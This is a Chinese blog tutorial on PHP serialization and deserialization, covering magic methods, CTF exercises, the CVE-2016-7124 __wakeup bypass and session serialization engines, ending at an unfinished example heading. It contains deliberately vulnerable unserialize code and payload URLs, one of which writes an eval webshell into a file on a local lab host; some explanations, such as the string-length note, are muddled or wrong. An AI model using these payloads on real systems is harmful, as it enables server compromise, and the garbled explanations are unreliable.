做茶壶的小女孩 發表於 2023-3-27 11:16:00

PHP的序列化和反序列化入门

<h1 id="php序列化">PHP序列化</h1>
<h2 id="什么是php序列化">什么是PHP序列化</h2>
<pre><code class="language-php">serialize()   //将一个对象转换成一个字符串
unserialize()   //将字符串还原成一个对象
</code></pre>
<p>通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击</p>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class sunset{
    public $flag='flag{asdadasd}';
    public $name='makabaka';
    public $age='18';
}

$ctfer=new sunset(); //实例化一个对象
echo serialize($ctfer);
?&gt;

</code></pre>
<ul>
<li>返回结果</li>
</ul>
<p><code>O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}</code></p>
<ul>
<li>O代表对象,这里是序列化的一个对象,要序列化数组的就用A</li>
<li>6表示的是类的长度</li>
<li>sunset表示对是类名</li>
<li>3表示类里面有3个属性也称为变量</li>
<li>s表示字符串的长度<code>这里的flag表示属性</code></li>
<li>比如<code>s:4:"flag"</code> 这里表示的是 flag属性名(变量名)为4个字符串长度字符串属性长度 属性值</li>
</ul>
<h2 id="什么是反序列化">什么是反序列化</h2>
<blockquote>
<p>这里是把上面序列化之后返回的数据进行反序列化</p>
</blockquote>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301162011513-312950710.png" alt="image-20230222124032420" loading="lazy"></p>
<pre><code class="language-php">$str='O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}';
$a=unserialize($str);
var_dump($a);
</code></pre>
<h2 id="php中publicprotectedprivate的区别对比">PHP中public、protected、private的区别对比</h2>
<h3 id="public">public</h3>
<blockquote>
<p>public修饰的属性和方法可以在任何地方被访问,包括类的内部、子类和外部代码。</p>
</blockquote>
<p>示例:</p>
<pre><code class="language-php">&lt;?php
class Person {
public $name;

public function sayHello() {
    echo "Hello!";
}
}

$person = new Person();
echo $person-&gt;name; // 可以直接访问 public 属性
$person-&gt;sayHello(); // 可以直接调用 public 方法
?&gt;
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301162009271-226862001.png" alt="image-20230223095619107" loading="lazy"></p>
<h3 id="protected">protected</h3>
<blockquote>
<p>protected修饰的属性和方法只能在当前类及其子类中被访问,外部的代码访问不了</p>
</blockquote>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class Person {
    protected $name;

    protected function sayHello() {
      echo "Hello!";
    }
}

class Student extends Person {
    public function showName() {
      echo $this-&gt;name; // 子类可以访问 protected 属性
      $this-&gt;sayHello(); // 子类可以调用 protected 方法
    }
}

$student = new Student();
$student-&gt;showName(); // 可以访问父类的 protected 属性和方法
echo $student-&gt;name; // 外部代码不能访问 protected 属性会显示错误
$student-&gt;sayHello(); // 外部代码不能调用 protected 方法 会显示错误
?&gt;
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301162007452-2018479773.png" alt="image-20230223100736605" loading="lazy"></p>
<h3 id="private">private</h3>
<blockquote>
<p>private修饰的属性和方法只能在当前类中被访问,子类和外部代码不能访问。</p>
</blockquote>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class Person {
    private $name;

    private function sayHello() {
      echo "Hello!";
    }
}

class Student extends Person {
    public function showName() {
      echo $this-&gt;name; // 子类不能访问父类的 private 属性
      $this-&gt;sayHello(); // 子类不能调用父类的 private 方法
    }
}

$person = new Person();
echo $person-&gt;name; // 外部代码不能访问 private 属性 会发生报错
$person-&gt;sayHello(); // 外部代码不能调用 private 方法 会发生报错

?&gt;

</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301162005059-1542746819.png" alt="image-20230223101020415" loading="lazy"></p>
<p>总结</p>
<h2 id="魔术方法">魔术方法</h2>
<p><code>在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。</code></p>
<h3 id="常见的魔术方法">常见的魔术方法</h3>
<pre><code class="language-php">__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
</code></pre>
<h3 id="__sleep">__sleep()</h3>
<blockquote>
<p><code>__sleep()</code> 方法是 PHP 中的一个魔术方法(magic method),用于在对象被序列化(serialized)时触发。在这个方法中,你可以指定哪些属性需要被序列化,哪些属性不需要被序列化。</p>
<p>具体来说,当调用 <code>serialize()</code> 函数将一个对象序列化时,PHP 会先自动调用对象的 <code>__sleep()</code> 方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后 PHP 会将这些属性序列化成字符串。</p>
</blockquote>
<blockquote>
<p>假设有一个 <code>User</code> 类,它有一个私有属性 <code>$password</code>,你不希望在序列化对象时将密码属性暴露出来。那么你可以在 <code>User</code> 类中实现 <code>__sleep()</code> 方法</p>
</blockquote>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
      $this-&gt;username = $username;
      $this-&gt;password = $password;
    }

    public function __sleep() {
      return array('username');
    }
}

$user = new User('john', '123456');
$serialized = serialize($user);
echo $serialized;

</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301162003200-715699180.png" alt="image-20230222190827201" loading="lazy"></p>
<p>在上面的例子中,<code>User</code> 类的 <code>__sleep()</code> 方法返回了一个只包含 <code>$username</code> 属性名的数组,这意味着在序列化对象时,只有用户名会被序列化。如果你运行上面的代码,你会看到输出的序列化字符串只包含了 <code>username</code> 属性的值。</p>
<p>关于序列化后的字符串中 <code>s:14:"Userusername";s:4:"john";</code> 中的 <code>s:14</code>,实际上是指 "Userusername" 的长度为 12 个字符,而不是 10 或 14 个字符。这是因为在 PHP 序列化字符串中,每个字符串的前面都会有一个类似 <code>s:6:</code> 的字符串长度标识,表示该字符串的长度为 6 个字符。这个字符串长度标识包括 <code>s:</code>、冒号和数字长度,加起来占用了 4 个字符,所以实际上字符串长度标识的长度为字符串长度加 2。在您的输出结果中,<code>s:14:"Userusername";s:4:"john";</code> 中的</p>
<h3 id="__wakeup">__wakeup()</h3>
<blockquote>
<p>unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而<code>wakeup()</code> 用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 <code>unserialize()</code> 函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 <code>__wakeup()</code> 方法,对其进行初始化。</p>
<p><code>__wakeup()</code> 方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 <code>__wakeup()</code> 方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 <code>__wakeup()</code> 方法中进行计算</p>
</blockquote>
<p>示例1:</p>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
      $this-&gt;username = $username;
      $this-&gt;password = $password;
    }

    public function __sleep() {
      return array('username', 'password');
    }

    public function __wakeup() {
      if (!$this-&gt;authenticate()) {
            throw new Exception("Authentication failed");
      }
    }

    private function authenticate() {
      // 进行身份验证
    }
}

$user = new User('john', '123456');
$serialized = serialize($user);
$unserialized = unserialize($serialized);

</code></pre>
<p>在上面的示例中<code>User</code> 类实现了 <code>__sleep()</code> 和 <code>__wakeup()</code> 方法。<code>__sleep()</code> 方法返回了一个包含 <code>username</code> 和 <code>password</code> 属性名的数组,表示只有这两个属性需要被序列化。<code>__wakeup()</code> 方法会调用 <code>authenticate()</code> 方法进行身份验证。如果身份验证失败,则会抛出一个异常。</p>
<p>实例2:</p>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class Caiji{
    public function __construct($ID, $sex, $age){
      $this-&gt;ID = $ID;
      $this-&gt;sex = $sex;
      $this-&gt;age = $age;
      $this-&gt;info = sprintf("ID: %s, age: %d, sex: %s", $this-&gt;ID, $this-&gt;sex, $this-&gt;age);
    }

    public function getInfo(){
      echo $this-&gt;info . '&lt;br&gt;';
    }
    /**
   * serialize前调用 用于删选需要被序列化存储的成员变量
   * @return array
   */
    public function __sleep(){
      echo __METHOD__ . '&lt;br&gt;';
      return ['ID', 'sex', 'age'];
    }
    /**
   * unserialize前调用 用于预先准备对象资源
   */
    public function __wakeup(){
      echo __METHOD__ . '&lt;br&gt;';
      $this-&gt;info = sprintf("ID: %s, age: %d, sex: %s", $this-&gt;ID, $this-&gt;sex, $this-&gt;age);
    }
}

$me = new Caiji('Sunset', 20, 'man');

$me-&gt;getInfo();
//存在__sleep(函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '&lt;br&gt;';

$me = unserialize($temp);
//__wakeup()组装的$info
$me-&gt;getInfo();

?&gt;
</code></pre>
<ul>
<li>输出结果</li>
</ul>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301162000902-623683252.png" alt="image-20230222202135506" loading="lazy"></p>
<h3 id="__tostring">__toString()</h3>
<blockquote>
<p>__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。</p>
</blockquote>
<p>示例:</p>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class Person {
    public $name;
    public $age;

    public function __construct($name, $age) {
      $this-&gt;name = $name;
      $this-&gt;age = $age;
      $this-&gt; info=sprintf("name:%s,age:%s",$this-&gt;name,$this-&gt;age);
    }

    public function __toString() {
      return $this-&gt;info;
    }
}

$person = new Person("John", 30);
echo '__toString:'.$person.'&lt;br&gt;';

?&gt;

</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161958605-2013902296.png" alt="image-20230222204503970" loading="lazy"></p>
<h3 id="__destruct">__destruct()</h3>
<blockquote>
<p><code>__destruct</code> 方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。</p>
</blockquote>
<p>示例:</p>
<pre><code>class Example {
private $resource;

public function __construct() {
    $this-&gt;resource = fopen('example.txt', 'w');//打开文件
}

public function write($text) {
    fwrite($this-&gt;resource, $text);
}

public function __destruct() {
    fclose($this-&gt;resource);
}
}

// 创建实例并写入文件
$example = new Example();
$example-&gt;write('Big hacker!!!');

// 实例销毁时,__destruct 方法会自动关闭文件句柄

</code></pre>
<p>在上面的示例中,<code>Example</code> 类的构造函数打开了一个文件,并将其保存在 <code>$resource</code> 属性中。<code>write</code> 方法使用该文件句柄将文本写入文件中。</p>
<p>当 <code>$example</code> 实例被销毁时,<code>__destruct</code> 方法会自动调用,关闭文件句柄以释放资源。这意味着在 <code>write</code> 方法执行后,即使没有调用 <code>fclose</code> 方法关闭文件,该文件也会被正确地关闭</p>
<ul>
<li>关于示例在上面时候被销毁</li>
</ul>
<blockquote>
<p>具体<code>$example-&gt;write('Hello, world!');</code> 执<code>$example</code> 变量,<code>$example</code> 对象将会被销毁,并且 <code>__destruct</code> 方法会被自动调用,关闭文件句柄。如果在此之后仍然有其他变量引用 <code>$example</code> 对象,那么对象不会被销毁,直到所有引用都被释放为止。</p>
<p>对象的生命周期取决于它的引用计数,只有当所有引用都被释放后,对象才会被销毁。<code>__destruct</code> 方法会在对象销毁时自动调用,用于执行清理操作。</p>
</blockquote>
<h4 id="魔术方法运行的先后顺序">魔术方法运行的先后顺序</h4>
<h5 id="__construct和__destruct"><code>__construct()和__destruct()</code></h5>
<ul>
<li><code>construct</code>:当对象创建时会被调用,是在new对象时才调用,<code>unserialize</code> 时不对被自动调用</li>
<li><code>destruct()</code> : 当对象被销毁时自动调用,有新的对象创建 之后会自动销毁 相当于调用了<code>__construct</code> 后一定会调用<code>__destruct</code> 现在传入一个对象,他后面被销毁时会调用 <code>destruct</code></li>
</ul>
<p><strong>实例</strong>:</p>
<pre><code class="language-php"> &lt;?php
highlight_file(__FILE__);
class sunset{
    public $name='makabaka';
      function __construct()
      {
            echo "调用"."__construct";
            echo "&lt;br&gt;";
      }
      function __destruct()
      {
            echo "调用"."__destruct";
            echo "&lt;br&gt;";
      }
}
$a= new sunset();
echo serialize($a);
echo "&lt;br&gt;";
?&gt;

调用__construct
O:6:"sunset":1:{s:4:"name";s:8:"makabaka";}
调用__destruct
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161956493-1754967543.png" alt="image-20230227200158200" loading="lazy"></p>
<p>创建对象<code>sunset</code> 调用 <code>__construct</code> 序列号之后调用<code>__destruct</code>销毁对象</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161954726-1302789726.png" alt="image-20230228145524017" loading="lazy"></p>
<h5 id="__seelp-和__wakeup"><code>__seelp()</code> 和<code>__wakeup()</code></h5>
<ul>
<li><code>__seelp()</code> 在对象被序列化之前调用</li>
<li><code>__wakeup()</code> 在对象被反序列化之前调用</li>
</ul>
<p>示例:</p>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class sunset{
    public $name='makabaka';
      function __construct()
      {
            echo "调用"."__construct";
            echo "&lt;br&gt;";
      }
      function __destruct()
      {
            echo "调用"."__destruct";
            echo "&lt;br&gt;";
      }
      function __sleep()
      {
            echo "调用"."__sleep";
            echo "&lt;br&gt;";
            return array("name");
      }
      function __wakeup()
      {
            echo "调用"."__wakeup";
            echo "&lt;br&gt;";
      }
}
$a= new sunset();
echo serialize($a);
$b=$_GET['b'];
echo "&lt;br&gt;";
unserialize($b);
?&gt;


</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161952538-1075222266.png" alt="image-20230228150412706" loading="lazy"></p>
<p>这里可以看出在序列化之前调用了<code>__sleep</code> 方法然后进行销毁</p>
<pre><code class="language-php+HTML">&lt;?php
highlight_file(__FILE__);

class sunset {
    public $name = 'makabaka';

    function __construct() {
      echo "调用 " . __METHOD__;
      echo "&lt;br&gt;";
    }

    function __destruct() {
      echo "调用 " . __METHOD__;
      echo "&lt;br&gt;";
    }

    function __sleep() {
      echo "调用 " . __METHOD__;
      echo "&lt;br&gt;";
      return array("name");
    }

    function __wakeup() {
      echo "调用 " . __METHOD__;
      echo "&lt;br&gt;";
    }
}

if (isset($_POST['submit'])) {
    $b = $_POST['a'];
    unserialize($b);
}

?&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="a" value='O:6:"sunset":1:{s:4:"name";s:8:"makabaka";}'&gt;
    &lt;input type="submit" name="submit" value="提交"&gt;
&lt;/form&gt;

</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161950066-1807464976.png" alt="image-20230228153615159" loading="lazy"></p>
<p>这里我们直接提交序列化的内容就调用了<code>__wakeup</code></p>
<h5 id="__tostring-1"><code>__toString()</code></h5>
<blockquote>
<p>__toString作为pop链关键的一步,很容易被调用。当对象被当作字符串的时候,<code>__toString()</code> 会被调用,不管对象有没有被打印出来,在对象被操作的时候,对象在和其他的字符串做比较的时候也会被调用。</p>
</blockquote>
<ol>
<li>echo($obj)或print($obj)打印<strong>对象</strong>时会触发</li>
<li>反序列化<strong>对象</strong>与字符串连接时</li>
<li>反序列化<strong>对象</strong>参与格式化字符串时</li>
<li>反序列化<strong>对象</strong>与<strong>字符串</strong>进行<strong>==</strong>比较时(多为<strong>preg_match正则匹配</strong>),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较</li>
<li>反序列化<strong>对象</strong>参与格式化sql语句时,绑定参数时(用的少)</li>
<li>反序列化<strong>对象</strong>经过php字符串函数时,如strlen(),addslashes()时(用的少)</li>
<li>在in_array()方法中,第一个参数是<strong>反序列化对象</strong>,第二个参数的数组中有tostring返回的字符串的时候tostring会被调用</li>
<li>反序列化的<strong>对象</strong>作为class_exists()的参数的时候(用的少)</li>
</ol>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);

class sunset {
    public $name = 'makabaka';

    function __construct() {
      echo "调用 " ." __construct()";
      echo "&lt;br&gt;";
    }

    function __destruct() {
      echo "调用 " . "__destruct()";
      echo "&lt;br&gt;";
    }

    function __toString() {
      echo "调用 " . "__toString";
      echo "&lt;br&gt;";
      return array("name");
    }

}
$a= new sunset();
echo $a;
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161948083-1483505590.png" alt="image-20230228154507214" loading="lazy"></p>
<h5 id="__invoke"><code>__invoke()</code></h5>
<p><code>__invoke</code>:当尝试以调用<strong>函数</strong>的方式调用一个<strong>对象</strong>时,<code>__invoke()</code>方法会被自动调用,而调用函数的方式就是在后面加上<code>()</code>,当我们看到像<code>return $function();</code>这种语句时,就应该意识到后面可能会调用<code>__invoke()</code>,下图是直接在对象后面加<code>()</code>调用<code>(这个魔术方法只在PHP 5.3.0 及以上版本有效)</code></p>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);

class sunset {
    public $name = 'makabaka';

    function __construct() {
      echo "调用 " ." __construct()";
      echo "&lt;br&gt;";
    }

    function __destruct() {
      echo "调用 " . "__destruct()";
      echo "&lt;br&gt;";
    }
    function __invoke() {
      echo "调用 " . "__invoke";
      echo "&lt;br&gt;";
    }
}
$a= new sunset();
$a();
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161946169-440601564.png" alt="image-20230228154938791" loading="lazy"></p>
<h5 id="__get和__set"><code>__get()和__set()</code></h5>
<ul>
<li><code>__get()</code>:从<strong>不可访问的属性中</strong>读取数据,或者说是调用一个类及其父类方法中未定义属性时</li>
<li><code>__set()</code>:当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(<code>private protected</code>)(用的不多)</li>
</ul>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class sunset {
    public $name = 'makabaka';
    public $str = 'hello';

    function __construct() {
      echo "调用 " ." __construct()";
      echo "&lt;br&gt;";
    }

    function __destruct() {
      echo "调用 " . "__destruct()";
      echo "&lt;br&gt;";
    }
    function __get($b) {
      echo "调用 " . "__get";
      echo "&lt;br&gt;";
      return $this-&gt;str;
    }
}

$a= new sunset();
echo $a-&gt;makk;

</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161944227-207873948.png" alt="image-20230228160828446" loading="lazy"></p>
<p>这里创建一个对象调用了<code>__construct</code> 然后echo 指向的mkk没有被定义然后调用<code>__get()</code></p>
<h5 id="__call和__callstatic"><code>__call()</code>和<code>__callStatic()</code></h5>
<ul>
<li><code>__call</code>:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用</li>
<li><code>__callStatic</code>:在静态上下文中调用一个不可访问静态方法时被调用</li>
</ul>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
class sunset {
    public $name = 'makabaka';
    public $str = 'hello';

    function __construct() {
      echo "调用 " ." __construct()";
      echo "&lt;br&gt;";
    }

    function __destruct() {
      echo "调用 " . "__destruct()";
      echo "&lt;br&gt;";
    }
    function __call($b,$q) {
      echo "调用 " . "__call";
      echo "&lt;br&gt;";
      return $this-&gt;str;
    }
}

$a= new sunset();
echo $a-&gt;makk();

</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161942033-1440117605.png" alt="image-20230228161341173" loading="lazy"></p>
<p><code>这里调用makk()方法不存在调用__call</code></p>
<h5 id="其他魔术方法">其他魔术方法</h5>
<pre><code class="language-markdown">__isset():当对不可访问属性调用isset()或empty()时调用
__unset():当对不可访问属性调用unset()时被调用。
__set_state():调用var_export()导出类时,此静态方法会被调用。
__clone():当对象复制完成时调用
__autoload():尝试加载未定义的类
__debugInfo():打印所需调试信息
</code></pre>
<p>参考手册</p>
<h3 id="题目">题目</h3>
<h4 id="unserialize3">unserialize3</h4>
<p>地址</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161940046-1957787590.png" alt="image-20230221173359329" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161938106-2066589283.png" alt="image-20230221173419994" loading="lazy"></p>
<p><code>这是一个有关于php序列化的题目</code></p>
<pre><code class="language-php">   &lt;?php
   class xctf{
   public $flag = '111';
   public function __wakeup(){
   exit('bad requests');
   }
   }
   $a= new xctf();
   print(serialize($a));
   ?&gt;
   
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161936110-905958016.png" alt="image-20230222104613367" loading="lazy"></p>
<p><code>这里绕过__wakeup的方法就是属性值大于他之前的属性值 这里面就只有一个属性值 flag111 只要超过这个属性值就可以绕过</code></p>
<h4 id="示例">示例</h4>
<pre><code class="language-php">&lt;?php
error_reporting(0);
include "flag.php";
$KEY = "sunset";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
echo serialize($KEY);
$a='s:6:"sunset"';
$b= unserialize($a);
echo $b;

show_source(__FILE__);
</code></pre>
<p><code>通过分析代码我们需要通过get传入一个str值然后这传入的值进行反序列化之后就与$KEY相等就可以返回flag</code></p>
<p>构造payload:http://127.0.0.1/1.php?str=s:6:"sunset";</p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161933639-788077758.png" alt="image-20230222212554336" loading="lazy"></p>
<h3 id="如何绕过__wakeup-cve-2016-7124">如何绕过__wakeup() CVE-2016-7124</h3>
<blockquote>
<p>版本限制 PHP5:&lt;5.6.25</p>
<p>​                                PHP7:&lt;7.0.10</p>
</blockquote>
<h4 id="cve-2016-7124">CVE-2016-7124</h4>
<pre><code class="language-php">&lt;?php
error_reporting(0);
class sunset{
    public $name='makabaka';
    public $age='18';
    function __wakeup(){
$this-&gt;age = "18";
    }
    function __destruct(){
$path='flag.php';
$file_get=file_put_contents($path,$this-&gt;name);
    }
}
$flag = $_GET['flag'];
$unser = unserialize($flag);

</code></pre>
<h5 id="代码分析">代码分析</h5>
<ul>
<li>类名: sunset</li>
<li>属性名: name 和age</li>
<li>魔术方法: __wakeup和__destruct</li>
</ul>
<blockquote>
<p>在代码中这里用到了反序列化函数<code>unserialize</code> , 只要用到这个函数是里面就会检测类sunset 里面有没有__wakeup()方法 ,如果有的话就会执行这个方法这里的 wakeup()没有太大的作用然后后面的 __destruct打开了一个flag.php文件,然后把$this--&gt;name 的值作为内容写入flag.php里面</p>
</blockquote>
<pre><code class="language-php+HTML">O:6:"sunset":2:{s:4:"makabaka"}
</code></pre>
<p>​                           <img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161931175-1087695396.png" alt="image-20230222225336669" loading="lazy"> 对上面代码进行序列化</p>
<ul>
<li>O 代表是一个对象</li>
<li>6 长度为6 "sunset"</li>
<li>2 表示里面有两个属性</li>
<li>s: 4:name 表示属性的长度为4</li>
<li>s:8:makabaka 属性的长度为8</li>
</ul>
<p>在上面的代码中我们可以看到<code>destruct</code> 方法把name的东西写入<code>flag.php</code>里面这里我们可以直接写入shell</p>
<p>但是由于进行<code>destruct</code> 之前会进行<code>wakeup</code>方法 所以需要先绕过<code>wakeup</code> 这里需要增加类的属性值使大于类里面的就可以绕过&gt;2</p>
<pre><code class="language-http">http://127.0.0.1/1.php/?flag=O:6:%22sunset%22:5:{s:4:%22name%22;s:41:%22%3C?php%20phpinfo();@eval($_POST[%27shell%27]);?%3E%22;s:3:%22age%22;s:2:%2218%22;}
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161928558-178930326.png" alt="image-20230223093004784" loading="lazy"></p>
<h5 id="示例2">示例2</h5>
<pre><code class="language-php">&lt;?php
class SoFun{
protected $file='index.php';
function __destruct(){
    if(!empty($this-&gt;file)) {
      if(strchr($this-&gt; file,"\\")===false &amp;&amp;strchr($this-&gt;file, '/')===false)
      show_source(dirname (__FILE__).'/'.$this -&gt;file);// 读取文件里面的内容
      else
      die('Wrong filename.');
    }
}
function __wakeup(){
   $this-&gt; file='index.php';
}
public function __toString()//必须返回一个字符串
   { return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?&gt; #&lt;!--key in flag.php--&gt;
</code></pre>
<ul>
<li>构造序列化的对象:O:5:"SoFun":<strong>1</strong>:</li>
<li><code>绕过__wakeup()</code>:O:5:"SoFun":<strong>2</strong>:</li>
</ul>
<blockquote>
<p>上面类的属性为 protected 可以加上 \00*\00绕过之后进行base64绕过</p>
</blockquote>
<pre><code class="language-php">http://127.0.0.1/index.php?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161926571-312184651.png" alt="image-20230223105641072" loading="lazy"></p>
<h3 id="seesion反序列化漏洞">SEESION反序列化漏洞</h3>
<blockquote>
<p>PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化<br>
在php.ini中有以下配置项,wamp的默认配置如图</p>
</blockquote>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161924061-787563083.png" alt="image-20230223125334840" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161921754-304791173.png" alt="image-20230223125415077" loading="lazy"></p>
<p><code>session.save_path</code> <strong>设置session的存储路径</strong><br>
<code>session.save_handler</code> <strong>设定用户自定义存储函数如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)</strong><br>
<code>session.auto_start</code> <strong>指定会话模块是否在请求开始时启动一个会话</strong><br>
<code>session.serialize_handler</code> <strong>定义用来序列化/反序列化的处理器名字。默认使用php(&lt;5.5.4)</strong></p>
<h4 id="session-的存储机制">session 的存储机制</h4>
<blockquote>
<p>php中session中的内容是以文件方式来存储的,由由<code>session.save_handler</code>来决定。文件名由<code>sess_sessionid</code>命名,文件内容则为session序列化后的值。</p>
</blockquote>
<p><strong>session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。</strong></p>
<table>
<thead>
<tr>
<th style="text-align: left">引擎</th>
<th style="text-align: left">session存储方式</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">php(php&lt;5.5.4)</td>
<td style="text-align: left">存储方式是,键名+竖线`</td>
</tr>
<tr>
<td style="text-align: left">php_serialize(php&gt;5.5.4)</td>
<td style="text-align: left">存储方式是,经过serialize()函数序列化处理的键和值(将session中的key和value都会进行序列化)</td>
</tr>
<tr>
<td style="text-align: left">php_binary</td>
<td style="text-align: left">存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值</td>
</tr>
</tbody>
</table>
<p>在PHP (php&lt;5.5.4) 中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码<code>ini_set('session.serialize_handler', '需要设置的引擎名');</code>进行设置</p>
<h5 id="php_serialize-引擎">php_serialize 引擎</h5>
<pre><code class="language-php">&lt;?php
    ini_set('session.serialize_handler','php_serialize');
    session_start();

    $_SESSION['name'] = 'sunset';
?&gt;
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161919596-163263807.png" alt="image-20230223131040185" loading="lazy"></p>
<p>这里汇总seesion存储路径存储一个序列化后的文件</p>
<p>内容为<code>a:1:{s:4:"name";s:6:"sunset";}</code></p>
<p>其中<code>a:1</code> 是使用php_serialize引擎都会加上的,同时使用<em>php_serialize会把session里面的key和value都会反序列化</em></p>
<ul>
<li>a代表的是一个数组</li>
</ul>
<h5 id="php引擎">php引擎</h5>
<pre><code class="language-php">&lt;?php
    session_start();

    $_SESSION['name'] = 'sunset';
?&gt;
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161916955-532553117.png" alt="image-20230223142244594" loading="lazy"></p>
<p>内容为<code>name|s:6:"sunset";</code></p>
<p>这里name 为键值         <code>s:6:"sunset"</code> 是sunset序列化后的结果</p>
<p>php引擎存储方式为:<code>键值名 | 序列化后的值</code></p>
<h5 id="php_binary-引擎">php_binary 引擎</h5>
<pre><code class="language-php">&lt;?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_binary');
session_start();

$_SESSION['name'] = 'sunset';
?&gt;
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161914412-1500465162.png" alt="image-20230223144018347" loading="lazy"></p>
<p>返回值</p>
<pre><code class="language-php">names:6:"sunset";
</code></pre>
<p>前面那个是一个特殊字符 因为<code>php_binary</code> 序列化的过程中,会把数据编码为二进制格式,需要把数据长度信息加入到编码数据的开头,这样在解码的时候才可以读取数据,也是为了在解码的时候确定数据的长度。<code>实质上是不可见字符,然后可以对照ascii表</code></p>
<p><img src="https://img2023.cnblogs.com/blog/2959648/202303/2959648-20230301161912267-6736267.png" alt="image-20230224125012199" loading="lazy"></p>
<h5 id="例题-ctfshow_web263">例题: ctfshow_web263</h5>
